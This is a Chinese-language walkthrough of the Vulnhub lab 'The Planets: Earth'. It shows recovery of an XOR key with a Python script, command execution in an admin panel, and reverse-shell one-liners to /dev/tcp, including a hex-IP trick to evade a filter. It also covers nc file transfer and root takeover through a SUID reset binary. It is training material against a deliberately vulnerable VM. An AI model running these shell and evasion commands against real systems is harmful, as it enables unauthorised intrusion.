vulnhub靶场之THE PLANETS: EARTH

Vulnhub 靶场 THE PLANETS: EARTH 详细渗透测试笔记

前期准备

靶场介绍

THE PLANETS: EARTH 是一个中等难度的 Vulnhub 靶机,涉及信息收集、密码破解、命令执行、反弹 shell 和提权等环节。靶机模拟了一个外星通信系统,需要我们通过 Web 入侵获取权限,并最终提权到 root。

环境配置

  • 攻击机:Kali Linux
    • IP:192.168.1.131
  • 攻击机:windows11
    • IP:192.168.1.11
  • 靶机:THE PLANETS: EARTH
    • IP:192.168.1.132

一、信息收集

1. 确认靶机地址

使用 arp-scan 扫描局域网,确认靶机 IP:

arp-scan -l

image

意义:确认靶机存活,获取其 MAC 地址和 IP,确保后续扫描和攻击的目标正确。


2. 端口扫描与服务识别

使用 nmap 对靶机进行全端口扫描,并获取服务版本信息:

nmap -A -p 1-65535 192.168.1.132

image

结果

  • 发现 443 端口开放,运行 HTTP 服务,并存在 DNS 解析 earth.local
  • earth.local 添加到 /etc/hosts 文件,以便访问该域名。
    image

意义:通过端口扫描,识别出靶机开放的服务,为后续的 Web 渗透打下基础。


3. Web 信息收集

访问 https://earth.local,该页面在说,我们可以给earth发送加密消息,此外,我们发现页面中有几段加密的“Previous Messages”:

image

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
    3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
    2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

4. 目录扫描

使用 dirbdirsearhearth.local 进行目录扫描:

dirb https://earth.local

image

结果

  • 发现 /admin 目录,访问后是一个登录界面。

image

意义:发现管理后台入口,下一步需要获取登录凭据。


5. 子域名信息收集

接着对其子域名进行信息收集,通过访问 terratest.earth.local,扫描目录发现 robots.txt,内容如下:
image
image
发现有个testingnotes文件,但是不知道是图中的哪种格式,经过手动测试后发现是txt格式,访问testingnotes.txt
访问 testingnotes.txt,内容如下:
image

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
查看testdata.txt发现
![image](https://img2024.cnblogs.com/blog/3495418/202508/3495418-20250807141016809-947427689.png)

去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基本。

意义

  • 得知加密算法为 XOR。
  • 用户名为 terra
  • 存在 testdata.txt 文件用于测试加密。

二、漏洞攻击

1. 密码破解

根据提示,XOR 加密算法被使用。
我们可以用 testdata.txtPrevious Messages 中的数据进行 XOR 运算,获取密钥。
编写 Python 脚本:

# 第一段数据(十六进制字符串)
hex_data = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

# 第二段数据(文本字符串)
text_data = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

# 将十六进制字符串转换为字节数组
data1 = bytes.fromhex(hex_data)

# 将文本字符串转换为字节数组(UTF-8 编码)
data2 = text_data.encode('utf-8')

# 对 data2 进行循环填充,使其长度与 data1 一致
data2_padded = (data2 * (len(data1) // len(data2) + 1))[:len(data1)]

# 逐字节异或
result = bytes([a ^ b for a, b in zip(data1, data2_padded)])

# 输出异或结果(十六进制形式)
print("XOR Result (Hex):", result.hex())

# 尝试将异或结果解码为文本(UTF-8)
try:
    decoded_text = result.decode('utf-8')
    print("Decoded Text:", decoded_text)
except UnicodeDecodeError:
    print("Result is not readable as UTF-8 text.")

异或过后
image

结果

  • 输出为重复的 earthclimatechangebad4humans
    意义
  • 获取到管理员密码 earthclimatechangebad4humans
  • 使用用户名 terra 和该密码成功登录 https://earth.local/admin
    image

2. 获取 user_flag

登录后台后,发现可以执行系统命令:
image
于是我们尝试直接找flag

find / -name "*flag*"

可以过滤掉sur和sys的,我们可以看到有个user_flag.txt
image
打印出来看看
image

结果

  • 找到 /var/earth_web/user_flag.txt,内容为 user_flag_3353b67d6437f07ba7d34afd7d2fc27d
    意义
  • 成功获取普通用户权限的 flag。

3. 反弹 shell

尝试直接使用反弹 shell 命令:

bash -i >& /dev/tcp/192.168.1.132/7777 0>&1

显示被禁止了
image

看了别人的发现需要对IP进行16进制绕过

bash -i >& /dev/tcp/0xC0.0xA8.0x01.0x83/7777 0>&1

发现这次没有被拦截
image

结果

  • 被系统拦截,提示“远程连接被禁止”。
    绕过方法
  • 将 IP 转换为十六进制格式:
  • 成功反弹 shell 到攻击机。
    意义
  • 通过十六进制 IP 绕过过滤,获取交互式 shell。
    image

三、提权

1. 查找可提权命令

sudo -l,没有可用的sudo权限
image

查找具有 SUID 权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现/usr/bin/reset_root可能是用来重置root权限
image

结果

  • 发现 /usr/bin/reset_root 文件。
    意义
  • 该文件可能用于提权。

2. 分析 reset_root

直接运行 reset_root,提示缺少触发器文件:

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

检查是否存在重置触发器...
重置失败,所有触发器都不存在。

本地没有调试的命令,使用nc传送到本地调试一下

#kali
nc -nlvp 7777 >reset_root
#受害机
nc 192.168.1.131 7777 < /usr/bin/reset_root

image
我们将reset_root发送到kali攻击机里,strace调试,看提示缺少什么触发器,报错,提示无权限,于是chmod +x
image
再次strace调试,这次发现缺少以下文件
image
于是我们在靶机上,创建这三个文件,并再次运行reset_root

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

image
告诉我们了root密码,于是切换到root用户去找flag,这次我们发现多了个/root/root_flag.txt`
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
image
打印下来查看flag为root_flag_b0da9554d29db2117b02aa8b66ec492e
image

分析

  • 使用 strace 调试,发现缺少以下文件:
    • /dev/shm/kHgTFI5G
    • /dev/shm/Zw7bV9U5
    • /tmp/kcM0Wewe
      解决方法
  • 在靶机上创建这三个文件:
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

再次运行 reset_root

  • 成功获取 root 权限。

3. 获取 root_flag

查找 root flag:

find / -name "*flag*"

结果

  • 找到 /root/root_flag.txt,内容为 root_flag_b0da9554d29db2117b02aa8b66ec492e

四、总结

总结

  • 通过信息收集发现 Web 服务和管理后台。
  • 利用 XOR 加密特性破解管理员密码。
  • 成功获取普通用户权限并反弹 shell。
  • 通过分析 SUID 文件并创建触发器文件提权至 root。
posted @ 2025-08-07 14:58  yangzilu  阅读(576)  评论(0)    收藏  举报